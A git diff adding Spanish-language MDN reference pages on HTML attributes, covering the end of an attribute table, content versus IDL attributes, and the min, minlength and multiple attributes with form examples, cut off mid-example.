+   <td>Indica el número de columnas que se agrupan.</td>
+  </tr>
+  <tr>
+   <td><code>spellcheck</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Indica si se permite la corrección ortográfica para el elemento.</td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("track") }}, {{ HTMLElement("video") }}</td>
+   <td>La URL del contenido integrable.</td>
+  </tr>
+  <tr>
+   <td><code>srcdoc</code></td>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td>Especifica el contenido de la página incluida.</td>
+  </tr>
+  <tr>
+   <td><code>srclang</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td>Especifica el lenguaje del contenido de la pista.</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code></td>
+   <td>{{ HTMLElement("img") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>start</code></td>
+   <td>{{ HTMLElement("ol") }}</td>
+   <td>Define el número inicial de la lista (si es diferente a 1).</td>
+  </tr>
+  <tr>
+   <td><code>step</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Indica el valor del incremento para un valor numerico o de fecha.</td>
+  </tr>
+  <tr>
+   <td><code>style</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Define los estilos CSS que anulan los estilos establecidos previamente.</td>
+  </tr>
+  <tr>
+   <td><code>summary</code></td>
+   <td>{{ HTMLElement("table") }}</td>
+   <td>
+    <p>Contiene una descripción del contenido de la tabla.</p>
+
+    <p>Nota: Este atributo ha sido desaprovado, se recomienda incluir un elemento {{ HTMLElement("caption") }} en la tabla.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>tabindex</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Sobrescribe el orden de tabulacion del navegador y usa el especificado.</td>
+  </tr>
+  <tr>
+   <td><code>target</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("form") }}</td>
+   <td>
+    <p>Especifica el marco destino en un vínculo.</p>
+
+    <p>Valores especiales: "_blank" indica una nueva ventana, "_parent" indica el marco padre del marco que contiene el código fuente, "_self" indica el marco donde está el código fuente y "_top" indica la ventana completa del navegador.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>title</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Texto a ser mostrado cuando el cursor esté sobre el elemento.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("command") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("object") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}, {{ HTMLElement("menu") }}</td>
+   <td>Define el tipo de elemento.</td>
+  </tr>
+  <tr>
+   <td><code>usemap</code></td>
+   <td>{{ HTMLElement("img") }},  {{ HTMLElement("input") }}, {{ HTMLElement("object") }}</td>
+   <td>
+    <p>Indica la URL parcial de un image map asociado con el elemento.</p>
+
+    <div class="note">
+    <p><strong>Note:</strong> Este atributo no puede ser usado si el elemento {{ HTMLElement("img") }} desciende de un {{ HTMLElement("button") }} o {{ HTMLElement("a") }}</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("li") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("param") }}</td>
+   <td>Define el valor predeterminado a ser mostrado al cargar la página.</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
+   <td>
+    <p>Para los elementos enumerados aquí, esto establece el ancho del elemento.</p>
+
+    <div class="note">
+    <p><strong>Nota:</strong> En algunos casos, como los {{ HTMLElement("div") }}, este es un atributo de referencia, en donde debes usar la propiedad CSS {{ Cssxref("height") }} en su lugar.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>wrap</code></td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>Indica la forma en la cual el texto debe ser envuelto.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Contenido_versus_atributos_IDL">Contenido versus atributos IDL</h2>
+
+<p>En HTML, la mayoria de los atributos tiene dos caras: el <strong>atributo de contenido</strong> y el <strong>atributo IDL</strong></p>
+
+<p>El atributo de contenido es aquel que se define desde el contenido (Codigo HTML) y puedes definirlo u obtenerlo con {{domxref("element.setAttribute()")}} o {{domxref("element.getAttribute()")}}. El atributo de contenido es siempre un string incluso cuando el valor esperado en un integer. Por ejemplo, para definir el maxlength de un {{HTMLElement("input")}} a 42 usando el atributo de contenido, se debe llamar a <code>setAttribute("maxlength", "42") en ese elemento.</code></p>
+
+<p>El atributo IDL, tambien conocido como propiedad JavaScript. Estos son atributos que se pueden leer o definir usando JavaScript como <code>element.foo.</code>. El atributo IDL siempre va a usar (pero puede transformarse) en el atributo de contenido subyacente para retornar un valor cuando lo obtiene y lo guarda en el atributo de contenido cuando es definido. En otras palabras el atributo IDL, en esencia, refleja los atributos de contenido.</p>
+
+<p>La mayoria del tiempo, los atributos IDL pueden retornar sus valores como realmente son usados. Por ejemplo, el <code>type</code> por defecto para los elementos {{HTMLElement("input")}} es "texto", entonces si defines <code>input.type="foobar",</code> el elemento <code>&lt;input&gt;</code> sera de tipo texto (en apariencia y comportamiento) pero el valor del Atributo de contenido "type" sera "foobat". De cualquier manera, el <code>type</code> del atributo IDL retornara el string "text".</p>
+
+<p>Los atributos IDL no son siempre strings; por ejemplo, <code>input.maxlength</code> es un numero (marcado como long). Cuando se usan atributos IDL, lees o defines valores del tipo deseado, entonces <code>input.maxlength </code>siempre retornara un numero y cuando definas <code>input,maxlength</code>, esperara un numero. Si se le entrega otro tipo, se convierte antomaticamente a numero como se especifica en las reglas del  estandar de JavaScript para conversiones de tipo.</p>
+
+<p>Los atributos IDL pueden <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">reflejar otros tipos</a> como un long sin asignacion, URL's, booleanos, etc. Desafortunadamente no hay reglas claras y el comportamiento que los atributos IDL en conjunto con sus respectivos atributos de contenido depende del mismo atributo. La mayoria del tiempo, siguen <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">las reglas de diseño en la especificacion</a>, pero algunas veces no lo hacen. Las especificaciones HTML tratan de ser lo mas amigables para el dasarrollador como es posible, pero por varias razones (mayormente historicas), algunos aributos se comportan de forma extraña (<code>select.size</code>, por ejemplo) y debes leer las especificaciones para comprender como éste se comporta exactamente.</p>
+
+<h2 id="Ver_Tambien">Ver Tambien</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Elemento" title="/es/docs/Web/HTML/Elemento">Elementos</a></li>
+</ul>
diff --git a/files/es/web/html/atributos/min/index.html b/files/es/web/html/atributos/min/index.html
new file mode 100644
index 0000000000..4060bd81f4
--- /dev/null
+++ b/files/es/web/html/atributos/min/index.html
@@ -0,0 +1,162 @@
+---
+title: 'HTML el atributo: min'
+slug: Web/HTML/Atributos/min
+tags:
+  - Atributos
+  - Restricción de validación
+  - atributo
+  - min
+translation_of: Web/HTML/Attributes/min
+---
+<div id="step-include">
+<p><span class="seoSummary">El atributo {{HTMLAttrxRef("min", "input")}} define el valor mínimo que es aceptable y válido para el {{HTMLElement("input")}} que contiene el atributo. Si el {{web.link("/es/docs/Web/HTML/Element/input#attr-value", "value")}} del elemento es menor que esto, el elemento falla la {{web.link("/es/docs/Web/Guide/HTML/HTML5/Constraint_validation", "restricción de validación")}}. Este valor debe ser menor o igual que el valor del atributo {{HTMLAttrxRef("max", "input")}}. Si se especifica un valor para {{HTMLAttrxRef("min", "input")}} que no es un número válido, la entrada no tiene un valor mínimo.</span></p>
+
+<p>Válido para los tipos de entrada numérica, incluidos los tipos {{HTMLElement("input/date", "date")}}, {{HTMLElement("input/month", "month")}}, {{HTMLElement("input/week", "week")}}, {{HTMLElement("input/time", "time")}}, {{HTMLElement("input/datetime-local", "datetime-local")}}, {{HTMLElement("input/number", "number")}} y {{HTMLElement("input/range", "range")}}, y el elemento {{htmlelement('meter')}}, el atributo {{HTMLAttrxRef("min", "input")}} es un número que especifica el valor mínimo de un control de formulario para ser considerado válido.</p>
+
+<h3 id="Sintaxis">Sintaxis</h3>
+
+<div id="step-include">
+<p>Si <code>any</code> no se establece explícitamente, los valores válidos para el <code>número</code>, los tipos de entrada de fecha/hora y los tipos de entrada de <code>range</code> son iguales a la base de paso a paso: el valor {{HTMLAttrxRef("min", "input")}} y los incrementos del valor del paso, hasta el valor {{web.link("/es/docs/Web/HTML/Attributes/max", "max")}}, si se especifica. Por ejemplo, si tienes <code>&lt;input type="number" min="10" step="2"&gt;</code>, cualquier entero par, 10 o mayor, es válido. Si se omite, <code>&lt;input type="number"&gt;</code>, cualquier número entero es válido, pero los flotantes, como 4.2, no son válidos, ya que el <code>step</code> predeterminado es 1. Para que 4.2 sea válido, <code>step</code> se debería haber configurado en <code>any</code>, 0.1, 0.2, o cualquiera, el valor mínimo tendría que ser un número terminado en 0.2 , como <code>&lt;input type="number" min="-5.2"&gt;</code></p>
+
+<table class="standard-table">
+ <caption>Sintaxis para valores {{HTMLAttrxRef("min", "input")}} por <code>&lt;input type="" /&gt;</code></caption>
+ <thead>
+  <tr>
+   <th>Tipo del <code>input</code></th>
+   <th>Ejemplo</th>
+   <th>Ejemplo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("input/date", "date")}}</td>
+   <td><code class="brush: html">yyyy-mm-dd</code></td>
+   <td><code class="brush: html">&lt;input type="date" min="2019-12-25" step="1"&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/month", "month")}}</td>
+   <td><code class="brush: html">yyyy-mm</code></td>
+   <td><code class="brush: html">&lt;input type="month" min="2019-12" step="12"&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/week", "week")}}</td>
+   <td><code class="brush: html">yyyy-W##</code></td>
+   <td><code class="brush: html">&lt;input type="week" min="2019-W23" step=""&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/time", "time")}}</td>
+   <td><code class="brush: html">hh:mm</code></td>
+   <td><code class="brush: html">&lt;input type="time" min="09:00" step="900"&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/datetime-local", "datetime-local")}}</td>
+   <td><code>yyyy-mm-ddThh:mm</code></td>
+   <td><code class="brush: html">&lt;input type="datetime-local" min="2019-12-25T19:30"&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/number", "number")}}</td>
+   <td>{{web.link("/es/docs/Web/CSS/number", "number")}}</td>
+   <td><code class="brush: html">&lt;input type="number" min="0" step="5" max="100"&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/range", "range")}}</td>
+   <td>{{web.link("/es/docs/Web/CSS/number", "number")}}</td>
+   <td><code class="brush: html">&lt;input type="range" min="60" step="5" max="100"&gt;</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: Cuando los datos ingresados por el usuario no se adhieren al valor mínimo establecido, el valor se considera inválido en la restricción de validación y coincidirá con la pseudoclase <code>:invalid</code></p>
+</div>
+</div>
+
+<p>Consulta {{web.link("/es/docs/Web/Guide/HTML/HTML5/Constraint_validation", "Validación del lado del cliente")}} y {{DOMxRef("ValidityState.rangeUnderflow", "rangeUnderflow")}} para más información.</p>
+
+<p>Para el elemento {{HTMLElement('meter')}}, el atributo {{HTMLAttrxRef("min", "input")}} define el límite numérico inferior del rango medido. Debe ser menor que el valor mínimo (atributo {{web.link("/es/docs/Web/HTML/Attributes/max", "max")}}), si se especifica. En ambos casos, si se omite, el valor predeterminado es 1.</p>
+
+<table class="standard-table">
+ <caption>Sintaxis para valores {{HTMLAttrxRef("min", "input")}} para otros elementos</caption>
+ <thead>
+  <tr>
+   <th>Tipo del <code>input</code></th>
+   <th>Sintaxis</th>
+   <th>Ejemplo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("meter")}}</td>
+   <td>{{web.link("/es/docs/Web/CSS/number", "number")}}</td>
+   <td><code>&lt;meter id="fuel" min="0" max="100" low="33" high="66" optimum="80" value="40"&gt; at 40/100&lt;/meter&gt;</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Impacto_en_step">Impacto en <code>step</code></h3>
+
+<p>Los valores de {{HTMLAttrxRef("min", "input")}} y <code>step</code> definen cuáles son los valores válidos, incluso si el atributo <code>step</code> no está incluido, como el <code>step</code> predeterminado de <code>0</code>.</p>
+
+<p>Agrega un gran borde rojo alrededor de los {{HTMLElement("input")}}s no válidos:</p>
+
+<pre class="brush: css notranslate">input:invalid {
+  border: solid red 3px;
+}</pre>
+
+<p>Luego define un {{HTMLElement("input")}} con un valor mínimo de 7.2, omitiendo el atributo <code>step</code>, en donde el valor predeterminado es 1.</p>
+
+<pre class="brush: html notranslate">&lt;input id="myNumber" name="myNumber" type="number" min="7.2" value="8"&gt;</pre>
+
+<p>Dado que <code>step</code> tiene el valor predeterminado de 1, los valores válidos incluyen <code>7.2</code>, <code>8.2</code>, <code>9.2</code> y así sucesivamente. El valor 8 no es válido. Dado que incluye un valor no válido, los navegadores compatibles mostrarán el valor como no válido.</p>
+
+<p>{{EmbedLiveSample("Impacto_en_step",200,55)}}</p>
+
+<p>Si no se incluye explícitamente, <code>step</code> tiene como valor predeterminado 1 para <code>número</code> y <code>range</code>, y 1 tipo de unidad (segundo, semana, mes, día) para los {{HTMLElement("input")}}s de tipo fecha/hora.</p>
+</div>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("html.elements.attributes.min")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'input.html#the-min-and-max-attributes', 'min attribute')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'input.html#the-min-and-max-attributes', 'min attribute')}}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Problemas_de_accesibilidad">Problemas de accesibilidad</h2>
+
+<p>Proporciona instrucciones para ayudar a los usuarios a comprender cómo completar el formulario y utilizar controles de formulario individuales. Indica cualquier entrada requerida y opcional, formatos de datos y otra información relevante. Cuando utilices el atributo {{HTMLAttrxRef("min", "input")}}, asegúrate de que el usuario comprenda este requisito mínimo. Posiblemente sea suficiente proporcionar instrucciones dentro de un {{HTMLElement('label')}}. Si proporcionas instrucciones fuera de las etiquetas, lo cual permite un posicionamiento y un diseño más flexibles, considera usar {{web.link("/es/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute", "aria-labelledby")}} o {{web.link("/es/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-descriptionsby_attribute", "aria-describedby")}}.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Web/HTML/Attributes/step", "step")}}</li>
+ <li>{{web.link("/es/docs/Web/HTML/Attributes/max", "max")}}</li>
+ <li>{{web.link("/es/docs/Web/Guide/HTML/HTML5/Constraint_validation", "restricciones de validación")}}</li>
+ <li>{{DOMxRef('Constraint_validation')}}</li>
+ <li>{{DOMxRef('validityState.rangeUnderflow')}}</li>
+ <li>{{CSSxRef(':out-of-range')}}</li>
+ <li>{{HTMLElement('input')}}</li>
+ <li>Los tipos {{HTMLElement("input/date", "date")}}, {{HTMLElement("input/month", "month")}}, {{HTMLElement("input/week", "week")}}, {{HTMLElement("input/time", "time")}}, {{HTMLElement("input/datetime-local", "datetime-local")}}, {{HTMLElement("input/number", "number")}}, {{HTMLElement("input/range", "range")}} y {{htmlelement('meter')}}</li>
+</ul>
diff --git a/files/es/web/html/atributos/minlength/index.html b/files/es/web/html/atributos/minlength/index.html
new file mode 100644
index 0000000000..23056673e2
--- /dev/null
+++ b/files/es/web/html/atributos/minlength/index.html
@@ -0,0 +1,71 @@
+---
+title: 'HTML el atributo: minlength'
+slug: Web/HTML/Atributos/minlength
+tags:
+  - Entrada
+  - Input
+  - Referencia
+  - atributo
+  - minlength
+  - textarea
+translation_of: Web/HTML/Attributes/minlength
+---
+<p class="summary">El atributo <strong><code>minlength</code></strong> define el número mínimo de caracteres (como unidades de código UTF-16) que el usuario puede ingresar en un {{HTMLElement('input')}} o {{HTMLElement('textarea')}}. Debe ser un valor entero 0 o superior. Si no se especifica una longitud mínima o se especifica un número no válido, el <strong><code>&lt;input&gt;</code></strong> no tiene una longitud mínima. Este valor debe ser menor o igual que el valor de {{web.link("/es/docs/Web/HTML/Attributes/maxlength", "maxlength")}}; de lo contrario, el valor nunca será válido, puesto que es imposible cumplir con ambos criterios.</p>
+
+<p>El <strong><code>&lt;input&gt;</code></strong> fallará la restricción de validación si la longitud del valor de texto del campo es menor que la longitud mínima de unidades de código UTF-16, con {{DOMxRef('validityState.tooShort')}} devolviendo <code>true</code>. La validación de la restricción solo se aplica cuando el usuario cambia el valor. Una vez que el envío falla, algunos navegadores mostrarán un mensaje de error que indica la longitud mínima requerida y la longitud actual.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Al agregar <code>minlength="5"</code>, el valor debe estar vacío o tener cinco caracteres o más para ser válido.</p>
+
+<pre class="brush: html notranslate">&lt;label for="fruit"&gt;Ingresa un nombre de fruta que tenga al menos 5 letras&lt;/label&gt; &lt;input type="text" minlength="5" id="fruit"&gt;</pre>
+
+<p>Podemos usar pseudoclases para estilizar el elemento en función de si el valor es válido. El valor será válido siempre que sea <code>null</code> (vacío) o tenga cinco o más caracteres. <em>Lima</em> no es válido, <em>limón es válido</em>.</p>
+
+<pre class="brush: css notranslate">input {
+  border: 2px solid currentcolor;
+}
+input:invalid {
+  border: 2px dashed red;
+}
+input:invalid:focus {
+  background-image: linear-gradient(pink, lightgreen);
+}</pre>
+
+<p>{{EmbedLiveSample('Ejemplos', '100%', 200)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'input.html#attr-input-minlength', 'atributo minlength')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'input.html#attr-minlength-accept', 'atributo minlength')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("html.elements.attribute.minlength")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Web/HTML/Attributes/maxlength", "maxlength")}}</li>
+ <li>{{web.link("/es/docs/Web/HTML/Attributes/size", "size")}}</li>
+ <li>{{web.link("/es/docs/Web/HTML/Attributes/pattern", "pattern")}}</li>
+ <li>{{web.link("/es/docs/Web/Guide/HTML/HTML5/Constraint_validation", "Restricción de validación")}}</li>
+</ul>
diff --git a/files/es/web/html/atributos/multiple/index.html b/files/es/web/html/atributos/multiple/index.html
new file mode 100644
index 0000000000..cbf465b0b8
--- /dev/null
+++ b/files/es/web/html/atributos/multiple/index.html
@@ -0,0 +1,182 @@
+---
+title: 'HTML el atributo: multiple'
+slug: Web/HTML/Atributos/multiple
+tags:
+  - Atributos
+  - Resticción de validación
+  - atributo
+translation_of: Web/HTML/Attributes/multiple
+---
+<p>El atributo booleano {{HTMLAttrxRef("multiple", "input")}}, si se establece, significa que el control del formulario acepta uno o más valores. Válido para los {{HTMLElement("input")}}s de tipo {{HTMLElement("input/email", "email")}}, {{HTMLElement("input/file", "file")}} y {{HTMLElement("select")}}, la forma en que el usuario opta por valores múltiples depende del control del formulario.</p>
+
+<p>Dependiendo del tipo, el control de formulario puede tener una apariencia diferente si se establece el atributo {{HTMLAttrxRef("multiple", "input")}}. Para el {{HTMLElement("input")}} de tipo <code>file</code>, la mensajería nativa que proporciona el navegador es diferente. En Firefox, el {{HTMLElement("input")}} de tipo <code>file</code> dice "Ningún archivo seleccionado" cuando el atributo está presente y "Ningún archivo seleccionado", cuando no hay archivo seleccionado. La mayoría de los navegadores muestran un cuadro de lista de desplazamiento para un control {{HTMLElement("select")}} con el atributo {{HTMLAttrxRef("multiple", "input")}} establecido frente a un menú desplegable de una sola línea cuando se omite el atributo. El {{HTMLElement("input")}} {{HTMLElement("input/email", "email")}} muestra lo mismo, pero coincidirá con la pseudoclase {{CSSxRef(':invalid')}} si hay más de una dirección de correo electrónico separada por comas incluido si el atributo no está presente.</p>
+
+<p>Cuando se establece {{HTMLAttrxRef("multiple", "input")}} en el tipo de entrada {{HTMLElement("input/email", "email")}}, el usuario puede incluir cero (si no es {{web.link("/es/docs/Web/HTML/Attributes/required", "required")}} también), una o más direcciones de correo electrónico separadas por comas.</p>
+
+<pre class="brush: html notranslate"><code class="brush: html">&lt;input type="email" <strong>multiple</strong> name="emails" id="emails"&gt;</code></pre>
+
+<p>Si y solo si se especifica el atributo {{HTMLAttrxRef("multiple", "input")}}, el valor puede ser una lista de direcciones de correo electrónico separadas por comas y formadas correctamente. Los espacios en blanco iniciales y finales se eliminan de cada dirección de la lista.</p>
+
+<p>Cuando se establece {{HTMLAttrxRef("multiple", "input")}} en el tipo de entrada {{HTMLElement("input/file", "file")}}, el usuario puede seleccionar uno o más archivos. El usuario puede elegir varios archivos del selector de archivos de cualquier manera que la plataforma elegida lo permita (por ejemplo, manteniendo presionada la tecla <kbd>Mayús</kbd> o <kbd>Control</kbd> y luego haciendo clic).</p>
+
+<pre class="brush: html notranslate"><code class="brush: html">&lt;input type="file" <strong>multiple</strong> name="uploads" id="uploads"&gt;</code></pre>
+
+<p>Cuando se omite el atributo, el usuario solo puede seleccionar un único archivo por {{HTMLElement("input")}}.</p>
+
+<p>El atributo {{HTMLAttrxRef("multiple", "input")}} en el elemento {{HTMLElement("select")}} representa un control para seleccionar cero o más opciones de la lista. De lo contrario, el elemento {{HTMLElement("select")}} representa un control para seleccionar una única {{HTMLElement("option")}} de la lista de opciones.</p>
+
+<pre class="brush: html notranslate">&lt;select multiple name="drawfs" id="drawfs"&gt;
+  &lt;option&gt;Gruñón&lt;/option&gt;
+  &lt;option&gt;Feliz&lt;/option&gt;
+  &lt;option&gt;Dormilón&lt;/option&gt;
+  &lt;option&gt;Tímido&lt;/option&gt;
+  &lt;option&gt;Estornudo&lt;/option&gt;
+  &lt;option&gt;Tontín&lt;/option&gt;
+  &lt;option&gt;Doc&lt;/option&gt;
+&lt;/select&gt;</pre>
+
+<p>Cuando se especifica {{HTMLAttrxRef("multiple", "input")}}, la mayoría de los navegadores mostrarán un cuadro de lista de desplazamiento en lugar de un menú desplegable de una sola línea.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="input_para_correoᵉ"><code>input</code> para correoᵉ</h3>
+
+<pre class="brush: html notranslate">&lt;label for="emails"&gt;¿A quién deseas enviar un correo electrónico?&lt;/label&gt;
+&lt;input type="email" multiple name="emails" id="emails" list="drawfemails" required size="64"&gt;
+
+&lt;datalist id="drawfemails"&gt;
+  &lt;option value="gruñón@woodworkers.com"&gt;Gruñón&lt;/option&gt;
+  &lt;option value="feliz@woodworkers.com"&gt;Feliz&lt;/option&gt;
+  &lt;option value="dormilón@woodworkers.com"&gt;Dormilón&lt;/option&gt;
+  &lt;option value="tímido@woodworkers.com"&gt;Tímido&lt;/option&gt;
+  &lt;option value="estornudo@woodworkers.com"&gt;Estornudo&lt;/option&gt;
+  &lt;option value="tontín@woodworkers.com"&gt;Tontín&lt;/option&gt;
+  &lt;option value="doc@woodworkers.com"&gt;Doc&lt;/option&gt;
+&lt;/datalist&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">input:invalid {border: red solid 3px;}</pre>
+</div>
+
+<p>Si y solo si se especifica el atributo {{HTMLAttrxRef("multiple", "input")}}, el valor puede ser una lista de direcciones de correo electrónico separadas por comas y formadas correctamente. Los espacios en blanco iniciales y finales se eliminan de cada dirección de la lista. Si el atributo {{web.link("/es/docs/Web/HTML/Attributes/required", "required")}} está presente, se requiere al menos una dirección de correo electrónico.</p>
+
+<p>Algunos navegadores admiten la aparición de la {{web.link("/es/docs/Web/HTML/Attributes/list", "lista")}} de opciones del {{HTMLElement('datalist')}} para direcciones de correo electrónico posteriores cuando haya varias. Otros no lo hacen.</p>
+
+<p>{{EmbedLiveSample("input_para_correoᵉ", 600, 80) }}</p>
+
+<h3 id="input_de_tipo_file"><code>input</code> de tipo <code>file</code></h3>
+
+<p>Cuando se establece {{HTMLAttrxRef("multiple", "input")}} en el {{HTMLElement("input")}} de tipo  {{HTMLElement("input/file", "file")}}, el usuario puede seleccionar uno o más archivos:</p>
+
+<pre class="brush: html notranslate">&lt;form method="post" enctype="multipart/form-data"&gt;
+  &lt;p&gt;
+    &lt;label for="uploads"&gt;
+       Elige las imágenes que deseas cargar:
+    &lt;/label&gt;
+    &lt;input type="file" id="uploads" name="uploads" accept=".jpg, .jpeg, .png, .svg, .gif" multiple&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="text"&gt;Elige un archivo de texto para cargar: &lt;/label&gt;
+    &lt;input type="file" id="text" name="text" accept=".txt"&gt;
+ &lt;/p&gt;
+  &lt;p&gt;
+    &lt;input type="submit" value="Enviar"&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample("input_de_tipo_file", 600, 80) }}</p>
+
+<p>Nota la diferencia en la apariencia entre el ejemplo con {{HTMLAttrxRef("multiple", "input")}} establecido y el otro {{HTMLElement("input")}} sin <code>file</code>.</p>
+
+<p>Cuando se envía el formulario, utilizas el {{web.link("/es/docs/Web/HTML/Element/form", "method='get'")}} el nombre de cada archivo seleccionado se habría agregado a los parámetros de la URL como <code>?uploads=img1.jpg&amp;uploads=img2.svg</code>. Sin embargo, dado que estamos asumiendo datos de formularios de {{web.link("/es/docs/Web/API/XMLHttpRequest/multipart", "multipart")}}, usamos mucho el <code>post</code>. Consulta el elemento {{HTMLElement('form')}} y {{web.link("/es/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data#The_method_attribute", "envío de datos del formulario")}} para obtener más información.</p>
+
+<h3 id="select"><code>select</code></h3>
+
+<p>El atributo {{HTMLAttrxRef("multiple", "input")}} en el elemento {{HTMLElement("select")}} representa un control para seleccionar cero o más opciones de la lista. De lo contrario, el elemento {{HTMLElement("select")}} representa un control para seleccionar una única {{HTMLElement("option")}} de la lista de opciones. El control generalmente tiene una apariencia diferente en función de la presencia del atributo {{HTMLAttrxRef("multiple", "input")}}, y la mayoría de los navegadores muestran un cuadro de lista de desplazamiento en lugar de una lista desplegable de una sola línea cuando el atributo está presente.</p>
+
+<pre class="brush: html notranslate">&lt;form method="get" action="#"&gt;
+&lt;p&gt;
+ &lt;label for="dwarfs"&gt;Selecciona los leñadores que te gusten:&lt;/label&gt;
+  &lt;select multiple name="drawfs" id="drawfs"&gt;
+    &lt;option&gt;gruñón@woodworkers.com&lt;/option&gt;
+    &lt;option&gt;feliz@woodworkers.com&lt;/option&gt;
+    &lt;option&gt;dormilón@woodworkers.com&lt;/option&gt;
+    &lt;option&gt;tímido@woodworkers.com&lt;/option&gt;
+    &lt;option&gt;estornudo@woodworkers.com&lt;/option&gt;
+    &lt;option&gt;tontín@woodworkers.com&lt;/option&gt;
+    &lt;option&gt;doc@woodworkers.com&lt;/option&gt;
+  &lt;/select&gt;
+&lt;/p&gt;
